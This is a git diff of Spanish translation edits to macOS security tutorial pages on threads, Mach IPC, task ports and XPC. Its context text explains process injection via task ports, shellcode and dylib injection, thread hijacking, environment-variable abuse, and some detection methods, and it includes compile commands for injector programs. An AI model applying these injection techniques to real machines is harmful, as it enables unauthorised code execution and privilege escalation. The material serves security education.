`__pthread_init()` es crucial durante la configuración del hilo, utilizando el argumento `env[]` para analizar variables de entorno que pueden incluir detalles sobre la ubicación y tamaño de la pila. #### Terminación de Hilos en macOS -1. **Salida de Hilos:** Los hilos se terminan típicamente llamando a `pthread_exit()`. Esta función permite que un hilo salga de manera limpia, realizando la limpieza necesaria y permitiendo que el hilo envíe un valor de retorno a cualquier unidor. -2. **Limpieza de Hilos:** Al llamar a `pthread_exit()`, se invoca la función `pthread_terminate()`, que maneja la eliminación de todas las estructuras de hilo asociadas. Desasigna puertos de hilo Mach (Mach es el subsistema de comunicación en el núcleo XNU) y llama a `bsdthread_terminate`, una syscall que elimina las estructuras a nivel de núcleo asociadas con el hilo. +1. **Salida de Hilos:** Los hilos se terminan típicamente llamando a `pthread_exit()`. Esta función permite que un hilo salga de manera limpia, realizando la limpieza necesaria y permitiendo que el hilo envíe un valor de retorno a cualquier hilo que lo haya unido. +2. **Limpieza de Hilos:** Al llamar a `pthread_exit()`, se invoca la función `pthread_terminate()`, que maneja la eliminación de todas las estructuras de hilo asociadas. Desasigna puertos de hilo Mach (Mach es el subsistema de comunicación en el núcleo XNU) y llama a `bsdthread_terminate`, una llamada al sistema que elimina las estructuras a nivel de núcleo asociadas con el hilo. #### Mecanismos de Sincronización -Para gestionar el acceso a recursos compartidos y evitar condiciones de carrera, macOS proporciona varias primitivas de sincronización. Estas son críticas en entornos de múltiples hilos para garantizar la integridad de los datos y la estabilidad del sistema: +Para gestionar el acceso a recursos compartidos y evitar condiciones de carrera, macOS proporciona varios primitivos de sincronización. Estos son críticos en entornos de múltiples hilos para garantizar la integridad de los datos y la estabilidad del sistema: 1. **Mutexes:** - **Mutex Regular (Firma: 0x4D555458):** Mutex estándar con una huella de memoria de 60 bytes (56 bytes para el mutex y 4 bytes para la firma). @@ -81,7 +81,7 @@ Para gestionar el acceso a recursos compartidos y evitar condiciones de carrera, 3. **Variable Once (Firma: 0x4f4e4345):** - Asegura que un fragmento de código de inicialización se ejecute solo una vez. Su tamaño es de 12 bytes. 4. **Bloqueos de Lectura-Escritura:** -- Permite múltiples lectores o un escritor a la vez, facilitando el acceso eficiente a datos compartidos. +- Permiten múltiples lectores o un escritor a la vez, facilitando el acceso eficiente a datos compartidos. - **Bloqueo de Lectura-Escritura (Firma: 0x52574c4b):** Tamaño de 196 bytes. - **Atributos de Bloqueo de Lectura-Escritura (Firma: 0x52574c41):** Atributos para bloqueos de lectura-escritura, de 20 bytes de tamaño. @@ -92,7 +92,7 @@ Para gestionar el acceso a recursos compartidos y evitar condiciones de carrera, **Variables Locales de Hilo (TLV)** en el contexto de archivos Mach-O (el formato para ejecutables en macOS) se utilizan para declarar variables que son específicas de **cada hilo** en una aplicación multihilo. Esto asegura que cada hilo tenga su propia instancia separada de una variable, proporcionando una forma de evitar conflictos y mantener la integridad de los datos sin necesidad de mecanismos de sincronización explícitos como mutexes. -En C y lenguajes relacionados, puedes declarar una variable local de hilo utilizando la **`__thread`** palabra clave. Aquí está cómo funciona en tu ejemplo: +En C y lenguajes relacionados, puedes declarar una variable local de hilo utilizando la palabra clave **`__thread`**. Aquí está cómo funciona en tu ejemplo: ```c cCopy code__thread int tlv_var; @@ -100,7 +100,7 @@ void main (int argc, char **argv){ tlv_var = 10; } ``` -Este fragmento define `tlv_var` como una variable local de hilo. Cada hilo que ejecuta este código tendrá su propio `tlv_var`, y los cambios que un hilo haga a `tlv_var` no afectarán a `tlv_var` en otro hilo. +Este fragmento define `tlv_var` como una variable local de hilo. Cada hilo que ejecute este código tendrá su propio `tlv_var`, y los cambios que un hilo realice en `tlv_var` no afectarán a `tlv_var` en otro hilo. En el binario Mach-O, los datos relacionados con las variables locales de hilo están organizados en secciones específicas: @@ -124,7 +124,7 @@ Entender las prioridades de hilo implica observar cómo el sistema operativo dec #### Clases de Calidad de Servicio (QoS) -Las clases de QoS son un enfoque más moderno para manejar las prioridades de hilo, particularmente en sistemas como macOS que soportan **Grand Central Dispatch (GCD)**. Las clases de QoS permiten a los desarrolladores **categorizar** el trabajo en diferentes niveles según su importancia o urgencia. macOS gestiona la priorización de hilos automáticamente según estas clases de QoS: +Las clases de QoS son un enfoque más moderno para manejar las prioridades de hilo, particularmente en sistemas como macOS que soportan **Grand Central Dispatch (GCD)**. Las clases de QoS permiten a los desarrolladores **categorizar** el trabajo en diferentes niveles según su importancia o urgencia. macOS gestiona la priorización de hilos automáticamente en función de estas clases de QoS: 1. **Interacción del Usuario:** - Esta clase es para tareas que están interactuando actualmente con el usuario o requieren resultados inmediatos para proporcionar una buena experiencia de usuario. Estas tareas reciben la prioridad más alta para mantener la interfaz receptiva (por ejemplo, animaciones o manejo de eventos). @@ -226,14 +226,14 @@ macos-ruby-applications-injection.md ### Inyección de Python Si la variable de entorno **`PYTHONINSPECT`** está configurada, el proceso de Python caerá en un CLI de Python una vez que haya terminado. También es posible usar **`PYTHONSTARTUP`** para indicar un script de Python que se ejecute al comienzo de una sesión interactiva.\ -Sin embargo, ten en cuenta que el script **`PYTHONSTARTUP`** no se ejecutará cuando **`PYTHONINSPECT`** cree la sesión interactiva. +Sin embargo, ten en cuenta que el script **`PYTHONSTARTUP`** no se ejecutará cuando **`PYTHONINSPECT`** crea la sesión interactiva. Otras variables de entorno como **`PYTHONPATH`** y **`PYTHONHOME`** también podrían ser útiles para hacer que un comando de Python ejecute código arbitrario. Ten en cuenta que los ejecutables compilados con **`pyinstaller`** no usarán estas variables ambientales incluso si se están ejecutando usando un Python embebido. > [!CAUTION] -> En general, no pude encontrar una manera de hacer que Python ejecute código arbitrario abusando de las variables de entorno.\ +> En general, no pude encontrar una manera de hacer que Python ejecute código arbitrario abusando de variables de entorno.\ > Sin embargo, la mayoría de las personas instalan Python usando **Homebrew**, que instalará Python en una **ubicación escribible** para el usuario administrador predeterminado. Puedes secuestrarlo con algo como: > > ```bash @@ -256,12 +256,12 @@ Ten en cuenta que los ejecutables compilados con **`pyinstaller`** no usarán es - Usando **Variables Ambientales**: Monitoreará la presencia de cualquiera de las siguientes variables ambientales: **`DYLD_INSERT_LIBRARIES`**, **`CFNETWORK_LIBRARY_PATH`**, **`RAWCAMERA_BUNDLE_PATH`** y **`ELECTRON_RUN_AS_NODE`** - Usando llamadas **`task_for_pid`**: Para encontrar cuándo un proceso quiere obtener el **puerto de tarea de otro** que permite inyectar código en el proceso. -- **Parámetros de aplicaciones Electron**: Alguien puede usar los argumentos de línea de comando **`--inspect`**, **`--inspect-brk`** y **`--remote-debugging-port`** para iniciar una aplicación Electron en modo de depuración, y así inyectar código en ella. +- **Parámetros de aplicaciones Electron**: Alguien puede usar el argumento de línea de comandos **`--inspect`**, **`--inspect-brk`** y **`--remote-debugging-port`** para iniciar una aplicación Electron en modo de depuración, y así inyectar código en ella. - Usando **symlinks** o **hardlinks**: Típicamente, el abuso más común es **colocar un enlace con nuestros privilegios de usuario**, y **apuntarlo a una ubicación de mayor privilegio**. La detección es muy simple tanto para hardlinks como para symlinks. Si el proceso que crea el enlace tiene un **nivel de privilegio diferente** al del archivo objetivo, creamos una **alerta**. Desafortunadamente, en el caso de symlinks, el bloqueo no es posible, ya que no tenemos información sobre el destino del enlace antes de su creación. Esta es una limitación del marco de EndpointSecurity de Apple. ### Llamadas realizadas por otros procesos -En [**esta publicación de blog**](https://knight.sc/reverse%20engineering/2019/04/15/detecting-task-modifications.html) puedes encontrar cómo es posible usar la función **`task_name_for_pid`** para obtener información sobre otros **procesos que inyectan código en un proceso** y luego obtener información sobre ese otro proceso. +En [**este blog**](https://knight.sc/reverse%20engineering/2019/04/15/detecting-task-modifications.html) puedes encontrar cómo es posible usar la función **`task_name_for_pid`** para obtener información sobre otros **procesos que inyectan código en un proceso** y luego obtener información sobre ese otro proceso. Ten en cuenta que para llamar a esa función necesitas ser **el mismo uid** que el que ejecuta el proceso o **root** (y devuelve información sobre el proceso, no una forma de inyectar código). diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md index a1ceccfbd..fa11483c8 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md @@ -31,7 +31,7 @@ Los derechos de puerto, que definen qué operaciones puede realizar una tarea, s - **Derecho de conjunto de puertos**, que denota un _conjunto de puertos_ en lugar de un solo puerto. Desencolar un mensaje de un conjunto de puertos desencola un mensaje de uno de los puertos que contiene. Los conjuntos de puertos se pueden usar para escuchar en varios puertos simultáneamente, muy parecido a `select`/`poll`/`epoll`/`kqueue` en Unix. - **Nombre muerto**, que no es un derecho de puerto real, sino simplemente un marcador de posición. Cuando un puerto es destruido, todos los derechos de puerto existentes al puerto se convierten en nombres muertos. -**Las tareas pueden transferir derechos de ENVÍO a otros**, permitiéndoles enviar mensajes de vuelta. **Los derechos de ENVÍO también pueden ser clonados, por lo que una tarea puede duplicar y otorgar el derecho a una tercera tarea**. Esto, combinado con un proceso intermediario conocido como el **servidor de arranque**, permite una comunicación efectiva entre tareas. +**Las tareas pueden transferir derechos de ENVÍO a otros**, permitiéndoles enviar mensajes de vuelta. **Los derechos de ENVÍO también pueden ser clonados, por lo que una tarea puede duplicar y dar el derecho a una tercera tarea**. Esto, combinado con un proceso intermediario conocido como el **servidor de arranque**, permite una comunicación efectiva entre tareas. ### Puertos de Archivo @@ -43,15 +43,15 @@ Como se mencionó anteriormente, es posible enviar derechos utilizando mensajes Para esto, el **servidor de arranque** (**launchd** en mac) está involucrado, ya que **cualquiera puede obtener un derecho de ENVÍO al servidor de arranque**, es posible pedirle un derecho para enviar un mensaje a otro proceso: -1. La tarea **A** crea un **nuevo puerto**, obteniendo el **DERECHO DE RECEPCIÓN** sobre él. -2. La tarea **A**, siendo la titular del DERECHO DE RECEPCIÓN, **genera un DERECHO DE ENVÍO para el puerto**. -3. La tarea **A** establece una **conexión** con el **servidor de arranque**, y **le envía el DERECHO DE ENVÍO** para el puerto que generó al principio. -- Recuerde que cualquiera puede obtener un DERECHO DE ENVÍO al servidor de arranque. +1. La tarea **A** crea un **nuevo puerto**, obteniendo el **derecho de RECEPCIÓN** sobre él. +2. La tarea **A**, siendo la titular del derecho de RECEPCIÓN, **genera un derecho de ENVÍO para el puerto**. +3. La tarea **A** establece una **conexión** con el **servidor de arranque**, y **le envía el derecho de ENVÍO** para el puerto que generó al principio. +- Recuerde que cualquiera puede obtener un derecho de ENVÍO al servidor de arranque. 4. La tarea A envía un mensaje `bootstrap_register` al servidor de arranque para **asociar el puerto dado con un nombre** como `com.apple.taska` -5. La tarea **B** interactúa con el **servidor de arranque** para ejecutar una **búsqueda de arranque para el nombre del servicio** (`bootstrap_lookup`). Para que el servidor de arranque pueda responder, la tarea B le enviará un **DERECHO DE ENVÍO a un puerto que creó previamente** dentro del mensaje de búsqueda. Si la búsqueda es exitosa, el **servidor duplica el DERECHO DE ENVÍO** recibido de la Tarea A y **lo transmite a la Tarea B**. -- Recuerde que cualquiera puede obtener un DERECHO DE ENVÍO al servidor de arranque. -6. Con este DERECHO DE ENVÍO, **la Tarea B** es capaz de **enviar** un **mensaje** **a la Tarea A**. -7. Para una comunicación bidireccional, generalmente la tarea **B** genera un nuevo puerto con un **DERECHO DE RECEPCIÓN** y un **DERECHO DE ENVÍO**, y otorga el **DERECHO DE ENVÍO a la Tarea A** para que pueda enviar mensajes a la TAREA B (comunicación bidireccional). +5. La tarea **B** interactúa con el **servidor de arranque** para ejecutar una búsqueda de arranque **lookup para el nombre del servicio** (`bootstrap_lookup`). Para que el servidor de arranque pueda responder, la tarea B le enviará un **derecho de ENVÍO a un puerto que creó previamente** dentro del mensaje de búsqueda. Si la búsqueda es exitosa, el **servidor duplica el DERECHO DE ENVÍO** recibido de la tarea A y **lo transmite a la tarea B**. +- Recuerde que cualquiera puede obtener un derecho de ENVÍO al servidor de arranque. +6. Con este derecho de ENVÍO, **la tarea B** es capaz de **enviar** un **mensaje** **a la tarea A**. +7. Para una comunicación bidireccional, generalmente la tarea **B** genera un nuevo puerto con un **DERECHO DE RECEPCIÓN** y un **DERECHO DE ENVÍO**, y otorga el **DERECHO DE ENVÍO a la tarea A** para que pueda enviar mensajes a la TAREA B (comunicación bidireccional). El servidor de arranque **no puede autenticar** el nombre del servicio reclamado por una tarea. Esto significa que una **tarea** podría potencialmente **suplantar cualquier tarea del sistema**, como falsamente **reclamando un nombre de servicio de autorización** y luego aprobando cada solicitud. @@ -59,16 +59,16 @@ Luego, Apple almacena los **nombres de los servicios proporcionados por el siste Para estos servicios predefinidos, el **proceso de búsqueda difiere ligeramente**. Cuando se busca un nombre de servicio, launchd inicia el servicio dinámicamente. El nuevo flujo de trabajo es el siguiente: -- La tarea **B** inicia una **búsqueda de arranque** para un nombre de servicio. +- La tarea **B** inicia una búsqueda de arranque **lookup** para un nombre de servicio. - **launchd** verifica si la tarea está en ejecución y, si no lo está, **la inicia**. -- La tarea **A** (el servicio) realiza un **check-in de arranque** (`bootstrap_check_in()`). Aquí, el **servidor de arranque** crea un DERECHO DE ENVÍO, lo retiene y **transfiere el DERECHO DE RECEPCIÓN a la Tarea A**. -- launchd duplica el **DERECHO DE ENVÍO y se lo envía a la Tarea B**. -- La tarea **B** genera un nuevo puerto con un **DERECHO DE RECEPCIÓN** y un **DERECHO DE ENVÍO**, y otorga el **DERECHO DE ENVÍO a la Tarea A** (el svc) para que pueda enviar mensajes a la TAREA B (comunicación bidireccional). +- La tarea **A** (el servicio) realiza un **check-in de arranque** (`bootstrap_check_in()`). Aquí, el **servidor de arranque** crea un derecho de ENVÍO, lo retiene y **transfiere el derecho de RECEPCIÓN a la tarea A**. +- launchd duplica el **DERECHO DE ENVÍO y se lo envía a la tarea B**. +- La tarea **B** genera un nuevo puerto con un **DERECHO DE RECEPCIÓN** y un **DERECHO DE ENVÍO**, y otorga el **DERECHO DE ENVÍO a la tarea A** (el svc) para que pueda enviar mensajes a la TAREA B (comunicación bidireccional). Sin embargo, este proceso solo se aplica a tareas del sistema predefinidas. Las tareas no del sistema aún operan como se describió originalmente, lo que podría permitir potencialmente la suplantación. > [!CAUTION] -> Por lo tanto, launchd nunca debe fallar o todo el sistema se bloqueará. +> Por lo tanto, launchd nunca debe fallar o todo el sistema fallará. ### Un Mensaje Mach @@ -110,7 +110,7 @@ Los tipos que se pueden especificar en el voucher, puertos locales y remotos son ``` Por ejemplo, `MACH_MSG_TYPE_MAKE_SEND_ONCE` se puede usar para **indicar** que un **derecho de envío único** debe ser derivado y transferido para este puerto. También se puede especificar `MACH_PORT_NULL` para evitar que el destinatario pueda responder. -Para lograr una **comunicación bidireccional** fácil, un proceso puede especificar un **puerto mach** en el **encabezado del mensaje mach** llamado el _puerto de respuesta_ (**`msgh_local_port`**) donde el **receptor** del mensaje puede **enviar una respuesta** a este mensaje. +Para lograr una **comunicación bidireccional** fácil, un proceso puede especificar un **puerto mach** en el **encabezado del mensaje** mach llamado el _puerto de respuesta_ (**`msgh_local_port`**) donde el **receptor** del mensaje puede **enviar una respuesta** a este mensaje. > [!TIP] > Tenga en cuenta que este tipo de comunicación bidireccional se utiliza en mensajes XPC que esperan una respuesta (`xpc_connection_send_message_with_reply` y `xpc_connection_send_message_with_reply_sync`). Pero **generalmente se crean diferentes puertos** como se explicó anteriormente para crear la comunicación bidireccional. @@ -125,7 +125,7 @@ Los otros campos del encabezado del mensaje son: > [!CAUTION] > Tenga en cuenta que **los mensajes mach se envían a través de un `mach port`**, que es un canal de comunicación **de un solo receptor**, **múltiples remitentes** integrado en el núcleo mach. **Múltiples procesos** pueden **enviar mensajes** a un puerto mach, pero en cualquier momento solo **un solo proceso puede leer** de él. -Los mensajes se forman entonces por el **encabezado `mach_msg_header_t`** seguido del **cuerpo** y por el **trailer** (si lo hay) y puede otorgar permiso para responder a él. En estos casos, el núcleo solo necesita pasar el mensaje de una tarea a la otra. +Los mensajes se forman entonces por el encabezado **`mach_msg_header_t`** seguido del **cuerpo** y del **trailer** (si lo hay) y puede otorgar permiso para responder a él. En estos casos, el núcleo solo necesita pasar el mensaje de una tarea a la otra. Un **trailer** es **información añadida al mensaje por el núcleo** (no puede ser establecida por el usuario) que puede ser solicitada en la recepción del mensaje con las banderas `MACH_RCV_TRAILER_` (hay diferente información que se puede solicitar). @@ -268,8 +268,8 @@ name ipc-object rights flags boost reqs recv send sonce oref q [...] ``` El **nombre** es el nombre predeterminado dado al puerto (ver cómo **aumenta** en los primeros 3 bytes). El **`ipc-object`** es el **identificador** único **ofuscado** del puerto.\ -También note cómo los puertos con solo derechos de **`send`** están **identificando al propietario** de este (nombre del puerto + pid).\ -También note el uso de **`+`** para indicar **otras tareas conectadas al mismo puerto**. +También nota cómo los puertos con solo derechos de **`send`** están **identificando al propietario** de este (nombre del puerto + pid).\ +También nota el uso de **`+`** para indicar **otras tareas conectadas al mismo puerto**. También es posible usar [**procesxp**](https://www.newosxbook.com/tools/procexp.html) para ver también los **nombres de servicio registrados** (con SIP deshabilitado debido a la necesidad de `com.apple.system-task-port`): ``` @@ -451,11 +451,9 @@ world.*/ #define TASK_WIRED_LEDGER_PORT 5 /* Wired resource ledger for task. */ #define TASK_PAGED_LEDGER_PORT 6 /* Paged resource ledger for task. */ ``` -Desde [aquí](https://web.mit.edu/darwin/src/modules/xnu/osfmk/man/task_get_special_port.html): - - **TASK_KERNEL_PORT**\[derecho de envío de tarea-propia]: El puerto utilizado para controlar esta tarea. Se utiliza para enviar mensajes que afectan a la tarea. Este es el puerto devuelto por **mach_task_self (ver Puertos de Tarea a continuación)**. -- **TASK_BOOTSTRAP_PORT**\[derecho de envío de arranque]: El puerto de arranque de la tarea. Se utiliza para enviar mensajes solicitando la devolución de otros puertos de servicio del sistema. -- **TASK_HOST_NAME_PORT**\[derecho de envío de host-propio]: El puerto utilizado para solicitar información del host que contiene. Este es el puerto devuelto por **mach_host_self**. +- **TASK_BOOTSTRAP_PORT**\[derecho de envío de arranque]: El puerto de arranque de la tarea. Se utiliza para enviar mensajes solicitando el retorno de otros puertos de servicio del sistema. +- **TASK_HOST_NAME_PORT**\[derecho de envío de host-propio]: El puerto utilizado para solicitar información del host contenedor. Este es el puerto devuelto por **mach_host_self**. - **TASK_WIRED_LEDGER_PORT**\[derecho de envío de libro mayor]: El puerto que nombra la fuente de la que esta tarea obtiene su memoria de kernel fija. - **TASK_PAGED_LEDGER_PORT**\[derecho de envío de libro mayor]: El puerto que nombra la fuente de la que esta tarea obtiene su memoria gestionada por defecto. @@ -465,7 +463,7 @@ Originalmente Mach no tenía "procesos", tenía "tareas", que se consideraban m Hay dos funciones muy interesantes relacionadas con esto: -- `task_for_pid(target_task_port, pid, &task_port_of_pid)`: Obtiene un derecho de ENVÍO para el puerto de tarea de la tarea relacionada con el especificado por el `pid` y lo otorga al `target_task_port` indicado (que generalmente es la tarea llamadora que ha utilizado `mach_task_self()`, pero podría ser un puerto de ENVÍO sobre una tarea diferente). +- `task_for_pid(target_task_port, pid, &task_port_of_pid)`: Obtiene un derecho de ENVÍO para el puerto de tarea de la tarea relacionada con el especificado por el `pid` y lo otorga al `target_task_port` indicado (que suele ser la tarea llamadora que ha utilizado `mach_task_self()`, pero podría ser un puerto de ENVÍO sobre una tarea diferente). - `pid_for_task(task, &pid)`: Dado un derecho de ENVÍO a una tarea, encuentra a qué PID está relacionada esta tarea. Para realizar acciones dentro de la tarea, la tarea necesitaba un derecho de `ENVÍO` a sí misma llamando a `mach_task_self()` (que utiliza el `task_self_trap` (28)). Con este permiso, una tarea puede realizar varias acciones como: @@ -481,15 +479,15 @@ Para realizar acciones dentro de la tarea, la tarea necesitaba un derecho de `EN > [!CAUTION] > Tenga en cuenta que con un derecho de ENVÍO sobre un puerto de tarea de una **tarea diferente**, es posible realizar tales acciones sobre una tarea diferente. -Además, el task_port también es el **`vm_map`** puerto que permite **leer y manipular memoria** dentro de una tarea con funciones como `vm_read()` y `vm_write()`. Esto significa básicamente que una tarea con derechos de ENVÍO sobre el task_port de una tarea diferente podrá **inyectar código en esa tarea**. +Además, el task_port es también el puerto **`vm_map`** que permite **leer y manipular memoria** dentro de una tarea con funciones como `vm_read()` y `vm_write()`. Esto significa básicamente que una tarea con derechos de ENVÍO sobre el task_port de una tarea diferente podrá **inyectar código en esa tarea**. Recuerde que debido a que el **kernel también es una tarea**, si alguien logra obtener **permisos de ENVÍO** sobre el **`kernel_task`**, podrá hacer que el kernel ejecute cualquier cosa (jailbreaks). - Llame a `mach_task_self()` para **obtener el nombre** de este puerto para la tarea llamadora. Este puerto solo se **hereda** a través de **`exec()`**; una nueva tarea creada con `fork()` obtiene un nuevo puerto de tarea (como caso especial, una tarea también obtiene un nuevo puerto de tarea después de `exec()` en un binario suid). La única forma de generar una tarea y obtener su puerto es realizar el ["baile de intercambio de puertos"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) mientras se realiza un `fork()`. - Estas son las restricciones para acceder al puerto (de `macos_task_policy` del binario `AppleMobileFileIntegrity`): -- Si la aplicación tiene el **`com.apple.security.get-task-allow` derecho** los procesos del **mismo usuario pueden acceder al puerto de tarea** (comúnmente agregado por Xcode para depuración). El proceso de **notarización** no lo permitirá en lanzamientos de producción. +- Si la aplicación tiene el **derecho de `com.apple.security.get-task-allow`**, los procesos del **mismo usuario pueden acceder al puerto de tarea** (comúnmente agregado por Xcode para depuración). El proceso de **notarización** no lo permitirá en lanzamientos de producción. - Las aplicaciones con el derecho **`com.apple.system-task-ports`** pueden obtener el **puerto de tarea para cualquier** proceso, excepto el kernel. En versiones anteriores se llamaba **`task_for_pid-allow`**. Esto solo se concede a aplicaciones de Apple. -- **Root puede acceder a los puertos de tarea** de aplicaciones **no** compiladas con un **runtime** **endurecido** (y no de Apple). +- **Root puede acceder a los puertos de tarea** de aplicaciones **no** compiladas con un **runtime endurecido** (y no de Apple). **El puerto de nombre de tarea:** Una versión no privilegiada del _puerto de tarea_. Hace referencia a la tarea, pero no permite controlarla. Lo único que parece estar disponible a través de él es `task_info()`. @@ -770,18 +768,19 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject ./inject ``` > [!TIP] -> Para que esto funcione en iOS, necesitas el derecho `dynamic-codesigning` para poder hacer que la memoria ejecutable sea escribible. +> Para que esto funcione en iOS, necesitas el derecho `dynamic-codesigning` para poder hacer que la memoria escribible sea ejecutable. ### Inyección de Dylib en hilo a través del puerto de tarea -En macOS, **los hilos** pueden ser manipulados a través de **Mach** o usando **la API posix `pthread`**. El hilo que generamos en la inyección anterior fue generado usando la API Mach, por lo que **no es compatible con posix**. +En macOS, los **hilos** pueden ser manipulados a través de **Mach** o usando la **api posix `pthread`**. El hilo que generamos en la inyección anterior fue generado usando la api Mach, por lo que **no es compatible con posix**. -Fue posible **inyectar un simple shellcode** para ejecutar un comando porque **no necesitaba trabajar con APIs** compatibles con posix, solo con Mach. **Inyecciones más complejas** necesitarían que el **hilo** también sea **compatible con posix**. +Fue posible **inyectar un simple shellcode** para ejecutar un comando porque **no necesitaba trabajar con apis** compatibles con posix, solo con Mach. **Inyecciones más complejas** necesitarían que el **hilo** también sea **compatible con posix**. Por lo tanto, para **mejorar el hilo**, debería llamar a **`pthread_create_from_mach_thread`**, que **creará un pthread válido**. Luego, este nuevo pthread podría **llamar a dlopen** para **cargar un dylib** del sistema, así que en lugar de escribir un nuevo shellcode para realizar diferentes acciones, es posible cargar bibliotecas personalizadas. Puedes encontrar **dylibs de ejemplo** en (por ejemplo, el que genera un registro y luego puedes escucharlo): + {{#ref}} ../macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md {{#endref}} @@ -1064,9 +1063,10 @@ fprintf(stderr,"Dylib not found\n"); gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector ./inject ``` -### Secuestro de Hilos a través del Puerto de Tarea +### Secuestro de Hilo a través del Puerto de Tarea + +En esta técnica, un hilo del proceso es secuestrado: -En esta técnica, se secuestra un hilo del proceso: {{#ref}} macos-thread-injection-via-task-port.md @@ -1074,11 +1074,11 @@ macos-thread-injection-via-task-port.md ### Detección de Inyección de Puerto de Tarea -Al llamar a `task_for_pid` o `thread_create_*`, se incrementa un contador en la estructura de tarea del kernel, que puede ser accedida desde el modo usuario llamando a task_info(task, TASK_EXTMOD_INFO, ...) +Al llamar a `task_for_pid` o `thread_create_*`, se incrementa un contador en la estructura de tarea del kernel que puede ser accedida desde el modo de usuario llamando a task_info(task, TASK_EXTMOD_INFO, ...) ## Puertos de Excepción -Cuando ocurre una excepción en un hilo, esta excepción se envía al puerto de excepción designado del hilo. Si el hilo no la maneja, se envía a los puertos de excepción de la tarea. Si la tarea no la maneja, se envía al puerto del host, que es gestionado por launchd (donde será reconocida). Esto se llama triaje de excepciones. +Cuando ocurre una excepción en un hilo, esta excepción se envía al puerto de excepción designado del hilo. Si el hilo no la maneja, se envía a los puertos de excepción de la tarea. Si la tarea no la maneja, se envía al puerto del host que es gestionado por launchd (donde será reconocida). Esto se llama triaje de excepciones. Ten en cuenta que al final, si no se maneja adecuadamente, el informe terminará siendo manejado por el demonio ReportCrash. Sin embargo, es posible que otro hilo en la misma tarea gestione la excepción, esto es lo que hacen las herramientas de informes de fallos como `PLCreashReporter`. @@ -1104,10 +1104,10 @@ Estas son algunas APIs interesantes para interactuar con el conjunto de procesad - `processor_set_stack_usage` - `processor_set_info` -Como se mencionó en [**esta publicación**](https://reverse.put.as/2014/05/05/about-the-processor_set_tasks-access-to-kernel-memory-vulnerability/), en el pasado esto permitía eludir la protección mencionada anteriormente para obtener puertos de tarea en otros procesos y controlarlos llamando a **`processor_set_tasks`** y obteniendo un puerto de host en cada proceso.\ +Como se mencionó en [**este post**](https://reverse.put.as/2014/05/05/about-the-processor_set_tasks-access-to-kernel-memory-vulnerability/), en el pasado esto permitía eludir la protección mencionada anteriormente para obtener puertos de tarea en otros procesos y controlarlos llamando a **`processor_set_tasks`** y obteniendo un puerto de host en cada proceso.\ Hoy en día, necesitas ser root para usar esa función y esto está protegido, por lo que solo podrás obtener estos puertos en procesos no protegidos. -Puedes probarlo con: +Puedes intentarlo con:
@@ -1222,6 +1222,7 @@ XPC, which stands for XNU (the kernel used by macOS) inter-Process Communication For more information about how this **communication work** on how it **could be vulnerable** check: + {{#ref}} macos-xpc/ {{#endref}} @@ -1234,6 +1235,7 @@ MIC basically **generates the needed code** for server and client to communicate For more info check: + {{#ref}} macos-mig-mach-interface-generator.md {{#endref}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/README.md index 37df336f6..7ab2bc123 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/README.md @@ -4,23 +4,23 @@ ## Información Básica -XPC, que significa XNU (el núcleo utilizado por macOS) inter-Process Communication, es un marco para **la comunicación entre procesos** en macOS e iOS. XPC proporciona un mecanismo para realizar **llamadas a métodos seguras y asíncronas entre diferentes procesos** en el sistema. Es parte del paradigma de seguridad de Apple, permitiendo la **creación de aplicaciones con separación de privilegios** donde cada **componente** se ejecuta con **solo los permisos que necesita** para hacer su trabajo, limitando así el daño potencial de un proceso comprometido. +XPC, que significa Comunicación Inter-Procesos de XNU (el núcleo utilizado por macOS), es un marco para **la comunicación entre procesos** en macOS e iOS. XPC proporciona un mecanismo para realizar **llamadas a métodos seguras y asíncronas entre diferentes procesos** en el sistema. Es parte del paradigma de seguridad de Apple, permitiendo la **creación de aplicaciones con privilegios separados** donde cada **componente** se ejecuta con **solo los permisos que necesita** para hacer su trabajo, limitando así el daño potencial de un proceso comprometido. -XPC utiliza una forma de Inter-Process Communication (IPC), que es un conjunto de métodos para que diferentes programas que se ejecutan en el mismo sistema envíen datos de ida y vuelta. +XPC utiliza una forma de Comunicación Inter-Procesos (IPC), que es un conjunto de métodos para que diferentes programas que se ejecutan en el mismo sistema envíen datos de ida y vuelta. Los principales beneficios de XPC incluyen: 1. **Seguridad**: Al separar el trabajo en diferentes procesos, a cada proceso se le pueden otorgar solo los permisos que necesita. Esto significa que incluso si un proceso se ve comprometido, tiene una capacidad limitada para causar daño. -2. **Estabilidad**: XPC ayuda a aislar los bloqueos al componente donde ocurren. Si un proceso falla, puede reiniciarse sin afectar al resto del sistema. +2. **Estabilidad**: XPC ayuda a aislar los fallos al componente donde ocurren. Si un proceso falla, puede reiniciarse sin afectar al resto del sistema. 3. **Rendimiento**: XPC permite una fácil concurrencia, ya que diferentes tareas pueden ejecutarse simultáneamente en diferentes procesos. -El único **inconveniente** es que **separar una aplicación en varios procesos** que se comunican a través de XPC es **menos eficiente**. Pero en los sistemas actuales esto no es casi notable y los beneficios son mejores. +El único **inconveniente** es que **separar una aplicación en varios procesos** que se comunican a través de XPC es **menos eficiente**. Pero en los sistemas de hoy, esto casi no es notable y los beneficios son mejores. ## Servicios XPC Específicos de la Aplicación Los componentes XPC de una aplicación están **dentro de la propia aplicación.** Por ejemplo, en Safari puedes encontrarlos en **`/Applications/Safari.app/Contents/XPCServices`**. Tienen la extensión **`.xpc`** (como **`com.apple.Safari.SandboxBroker.xpc`**) y **también son paquetes** con el binario principal dentro de él: 